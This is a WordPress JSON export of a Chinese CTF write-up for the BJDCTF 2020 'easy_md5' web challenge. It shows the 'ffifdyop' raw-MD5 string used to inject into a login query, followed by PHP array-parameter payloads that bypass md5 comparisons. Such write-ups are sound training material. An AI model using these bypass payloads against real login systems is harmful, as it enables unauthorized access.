{"id":963,"date":"2025-01-18T23:12:19","date_gmt":"2025-01-18T15:12:19","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=963"},"modified":"2025-01-18T23:12:20","modified_gmt":"2025-01-18T15:12:20","slug":"bjdctf-2020easy_md5","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/bjdctf-2020easy_md5\/","title":{"rendered":"BJDCTF 2020easy_md5"},"content":{"rendered":"<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209163306.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209163306.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241209163306.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209164044.png\" alt=\"Pasted image 20241209164044.png\"><\/p>\n<p>1.F12\u4e00\u4e0b<br \/>\n\u5728\u8fd4\u56de\u7684\u54cd\u5e94\u5305\u91cc\u53d1\u73b0\u63d0\u793a<\/p>\n<pre><code>select * from 'admin' where password=md5($pass,true)\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209163211.png\" alt=\"Pasted image 20241209163211.png\"><\/p>\n<p>2.\u4ee3\u7801\u5ba1\u8ba1<\/p>\n<pre><code class=\"language-sql\">select * from 'admin' where password=md5($pass,true)\n<\/code><\/pre>\n<p>\u56e0\u4e3a\u662f\u767b\u5f55\u6846\uff0c\u5e76\u4e14\u5bf9\u5bc6\u7801\u8fdb\u884cmd5\u52a0\u5bc6\uff0c\u8fd9\u65f6\u60f3\u5230md5\u4e07\u80fd\u5bc6\u7801<\/p>\n<pre><code>ffifdyop\n<\/code><\/pre>\n<p>3.\u8f93\u5165ffifdyop<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209164327.png\" alt=\"Pasted image 20241209164327.png\"><\/p>\n<p>4.F12\u4e00\u4e0b\uff0c\u53d1\u73b0\u63d0\u793a<br \/>\n\u53ef\u4ee5\u8fdb\u884c\u6570\u7ec4\u7ed5\u8fc7<br \/>\npayload:<\/p>\n<pre><code>?a[]=1&amp;b[]=2\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209164411.png\" alt=\"Pasted image 20241209164411.png\"><\/p>\n<p>5.\u53d1\u73b0\u53c8\u662f\u6570\u7ec4\u7ed5\u8fc7<br \/>\npayload:<\/p>\n<pre><code>param1[]=1&amp;param2[]=2\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209164621.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209164621.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241209164621.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209164858.png\" alt=\"Pasted image 20241209164858.png\"><\/p>\n<h3>\u603b\u7ed3<\/h3>\n<p>\u6570\u7ec4\u7ed5\u8fc7md5\u5f3a\u5f31\u6bd4\u8f83<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.F12\u4e00\u4e0b \u5728\u8fd4\u56de\u7684\u54cd\u5e94\u5305\u91cc\u53d1\u73b0\u63d0\u793a select * from &#8216;admin&#8217; where passwo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[34,32,33],"class_list":["post-963","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-md5","tag-32","tag-33"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=963"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/963\/revisions"}],"predecessor-version":[{"id":964,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/963\/revisions\/964"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=963"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}